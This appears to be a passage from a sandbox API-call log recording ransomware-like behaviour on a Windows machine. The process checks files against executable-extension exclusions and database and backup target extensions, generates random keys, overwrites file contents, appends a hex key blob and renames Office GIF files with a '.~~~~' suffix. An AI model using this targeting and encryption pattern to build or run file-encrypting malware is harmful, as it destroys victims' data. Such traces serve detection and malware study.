	[0140.550] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.551] CloseHandle (hObject=0x108) returned 1
	[0140.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5180
	[0140.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif.~~~~")) returned 1
	[0140.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0140.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.569] GetLastError () returned 0x0
	[0140.570] RtlWakeConditionVariable () returned 0x0
	[0140.570] GetCurrentThreadId () returned 0x3a4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".scr") returned 0x0
	[0140.570] lstrlenW (lpString=".cmd") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".cmd") returned 0x0
	[0140.570] lstrlenW (lpString=".dll") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dll") returned 0x0
	[0140.570] lstrlenW (lpString=".bat") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".bat") returned 0x0
	[0140.570] lstrlenW (lpString=".cpl") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".cpl") returned 0x0
	[0140.570] lstrlenW (lpString=".sys") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".sys") returned 0x0
	[0140.570] lstrlenW (lpString=".msc") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".msc") returned 0x0
	[0140.570] lstrlenW (lpString=".com") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".com") returned 0x0
	[0140.570] lstrlenW (lpString=".lnk") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".lnk") returned 0x0
	[0140.570] lstrlenW (lpString=".msp") returned 4
	[0140.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".msp") returned 0x0
	[0140.571] lstrlenW (lpString=".pif") returned 4
	[0140.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".pif") returned 0x0
	[0140.571] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.574] lstrlenW (lpString=".sqb") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".sqb") returned 0x0
	[0140.574] lstrlenW (lpString=".ost") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".ost") returned 0x0
	[0140.574] lstrlenW (lpString=".txt") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".txt") returned 0x0
	[0140.574] lstrlenW (lpString=".mdt") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".mdt") returned 0x0
	[0140.574] lstrlenW (lpString=".BDB") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".BDB") returned 0x0
	[0140.574] lstrlenW (lpString=".eql") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".eql") returned 0x0
	[0140.574] lstrlenW (lpString=".DBF") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DBF") returned 0x0
	[0140.574] lstrlenW (lpString=".EQL") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".EQL") returned 0x0
	[0140.574] lstrlenW (lpString=".FDB") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".FDB") returned 0x0
	[0140.574] lstrlenW (lpString=".EDB") returned 4
	[0140.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".EDB") returned 0x0
	[0140.574] lstrlenW (lpString=".DACPAC") returned 7
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.575] lstrlenW (lpString=".VHD") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".VHD") returned 0x0
	[0140.575] lstrlenW (lpString=".DBV") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DBV") returned 0x0
	[0140.575] lstrlenW (lpString=".dacpac") returned 7
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.575] lstrlenW (lpString=".sdf") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".sdf") returned 0x0
	[0140.575] lstrlenW (lpString=".accdb") returned 6
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".accdb") returned 0x0
	[0140.575] lstrlenW (lpString=".DBX") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DBX") returned 0x0
	[0140.575] lstrlenW (lpString=".MDT") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".MDT") returned 0x0
	[0140.575] lstrlenW (lpString=".SQB") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".SQB") returned 0x0
	[0140.575] lstrlenW (lpString=".vhd") returned 4
	[0140.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".vhd") returned 0x0
	[0140.576] lstrlenW (lpString=".bac") returned 4
	[0140.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".bac") returned 0x0
	[0140.576] lstrlenW (lpString=".mdf") returned 4
	[0140.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".mdf") returned 0x0
	[0140.576] lstrlenW (lpString=".BAK") returned 4
	[0140.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".BAK") returned 0x0
	[0140.576] lstrlenW (lpString=".BAC") returned 4
	[0140.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".BAC") returned 0x0
	[0140.576] lstrlenW (lpString=".dbs") returned 4
	[0140.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dbs") returned 0x0
	[0140.576] lstrlenW (lpString=".vhdx") returned 5
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.577] lstrlenW (lpString=".NDF") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".NDF") returned 0x0
	[0140.577] lstrlenW (lpString=".dat") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dat") returned 0x0
	[0140.577] lstrlenW (lpString=".DBS") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DBS") returned 0x0
	[0140.577] lstrlenW (lpString=".CKP") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".CKP") returned 0x0
	[0140.577] lstrlenW (lpString=".edb") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".edb") returned 0x0
	[0140.577] lstrlenW (lpString=".PST") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".PST") returned 0x0
	[0140.577] lstrlenW (lpString=".dbf") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dbf") returned 0x0
	[0140.577] lstrlenW (lpString=".SQL") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".SQL") returned 0x0
	[0140.577] lstrlenW (lpString=".pst") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".pst") returned 0x0
	[0140.577] lstrlenW (lpString=".dbv") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dbv") returned 0x0
	[0140.577] lstrlenW (lpString=".SDF") returned 4
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".SDF") returned 0x0
	[0140.577] lstrlenW (lpString=".dtxs") returned 5
	[0140.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.578] lstrlenW (lpString=".db3") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".db3") returned 0x0
	[0140.578] lstrlenW (lpString=".OST") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".OST") returned 0x0
	[0140.578] lstrlenW (lpString=".dbx") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dbx") returned 0x0
	[0140.578] lstrlenW (lpString=".DB3") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DB3") returned 0x0
	[0140.578] lstrlenW (lpString=".DAT") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DAT") returned 0x0
	[0140.578] lstrlenW (lpString=".VHDX") returned 5
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.578] lstrlenW (lpString=".ndf") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".ndf") returned 0x0
	[0140.578] lstrlenW (lpString=".DB") returned 3
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DB") returned 0x0
	[0140.578] lstrlenW (lpString=".sql") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".sql") returned 0x0
	[0140.578] lstrlenW (lpString=".MYD") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".MYD") returned 0x0
	[0140.578] lstrlenW (lpString=".DBT") returned 4
	[0140.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DBT") returned 0x0
	[0140.578] lstrlenW (lpString=".ACCDB") returned 6
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.579] lstrlenW (lpString=".fdb") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".fdb") returned 0x0
	[0140.579] lstrlenW (lpString=".bak") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".bak") returned 0x0
	[0140.579] lstrlenW (lpString=".myd") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".myd") returned 0x0
	[0140.579] lstrlenW (lpString=".DTXS") returned 5
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.579] lstrlenW (lpString=".ckp") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".ckp") returned 0x0
	[0140.579] lstrlenW (lpString=".dbt") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".dbt") returned 0x0
	[0140.579] lstrlenW (lpString=".db") returned 3
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".db") returned 0x0
	[0140.579] lstrlenW (lpString=".TXT") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".TXT") returned 0x0
	[0140.579] lstrlenW (lpString=".MDF") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".MDF") returned 0x0
	[0140.579] lstrlenW (lpString=".bdb") returned 4
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".bdb") returned 0x0
	[0140.579] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.580] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.581] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.581] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.582] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26057173618) returned 1
	[0140.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd33c270, dwHighDateTime=0x1d60e1e)) 
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d298
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d298 | out: hHeap=0x300000) returned 1
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4ee0
	[0140.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ee0 | out: hHeap=0x300000) returned 1
	[0140.583] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.583] GetLastError () returned 0x0
	[0140.583] GetLastError () returned 0x0
	[0140.583] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.583] GetLastError () returned 0x0
	[0140.583] GetLastError () returned 0x0
	[0140.583] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x1cd3, lpOverlapped=0x0) returned 1
	[0140.586] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffe32d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.586] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1cd3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x1cd3, lpOverlapped=0x0) returned 1
	[0140.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.586] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.586] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.587] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.587] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.587] CloseHandle (hObject=0x108) returned 1
	[0140.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4ee0
	[0140.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif.~~~~")) returned 1
	[0140.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ee0 | out: hHeap=0x300000) returned 1
	[0140.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.590] GetLastError () returned 0x0
	[0140.590] RtlWakeConditionVariable () returned 0x365f70
	[0140.590] GetCurrentThreadId () returned 0x3a4
	[0140.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".scr") returned 0x0
	[0140.590] lstrlenW (lpString=".cmd") returned 4
	[0140.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".cmd") returned 0x0
	[0140.590] lstrlenW (lpString=".dll") returned 4
	[0140.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dll") returned 0x0
	[0140.590] lstrlenW (lpString=".bat") returned 4
	[0140.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".bat") returned 0x0
	[0140.590] lstrlenW (lpString=".cpl") returned 4
	[0140.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".cpl") returned 0x0
	[0140.591] lstrlenW (lpString=".sys") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".sys") returned 0x0
	[0140.591] lstrlenW (lpString=".msc") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".msc") returned 0x0
	[0140.591] lstrlenW (lpString=".com") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".com") returned 0x0
	[0140.591] lstrlenW (lpString=".lnk") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".lnk") returned 0x0
	[0140.591] lstrlenW (lpString=".msp") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".msp") returned 0x0
	[0140.591] lstrlenW (lpString=".pif") returned 4
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".pif") returned 0x0
	[0140.591] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.593] lstrlenW (lpString=".sqb") returned 4
	[0140.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".sqb") returned 0x0
	[0140.593] lstrlenW (lpString=".ost") returned 4
